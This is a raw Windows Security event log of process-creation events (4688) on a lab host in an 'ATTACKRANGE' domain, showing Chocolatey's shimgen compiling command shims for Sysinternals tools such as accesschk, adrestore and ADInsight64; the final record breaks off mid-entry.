	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\accesschk64.exe" --output="C:\ProgramData\chocolatey\bin\accesschk64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\accesschk64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246305
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf08
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x5f0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESAA83.tmp" "c:\ProgramData\chocolatey\bin\CSC707438D029B4D9FA1C7C797953E7EF3.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246304
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf20
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x5f0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246303
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x5f0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xdd4
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\accesschk.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123401_3180\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123401_3180\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123401_3180\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123401_3180\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123401_3180\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246302
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe9c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xdd4
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246301
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdd4
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\accesschk.exe" --output="C:\ProgramData\chocolatey\bin\accesschk.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\accesschk.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246339
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xaf4
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb88
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246338
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb88
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb54
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\adrestore.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123402_9586\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123402_9586\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123402_9586\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123402_9586\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123402_9586\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246337
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd2c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb54
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246336
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb54
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\adrestore.exe" --output="C:\ProgramData\chocolatey\bin\adrestore.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\adrestore.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246335
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb4c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x888
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESB001.tmp" "c:\ProgramData\chocolatey\bin\CSCCB404BFE86E14BD48710B068D1A3FBB.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246334
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xee8
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x888
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246333
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x888
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x2d4
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\ADInsight64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123402_7242\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123402_7242\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123402_7242\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123402_7242\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123402_7242\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246332
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x57c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x2d4
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246331
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2d4
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\ADInsight64.exe" --output="C:\ProgramData\chocolatey\bin\ADInsight64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\ADInsight64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246330
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xee4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xdb4
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESAF17.tmp" "c:\ProgramData\chocolatey\bin\CSC9EEF5E31C34E4784998FFAA391DB11B.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246329
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd30
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xdb4
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:40:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246328
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdb4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe78
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
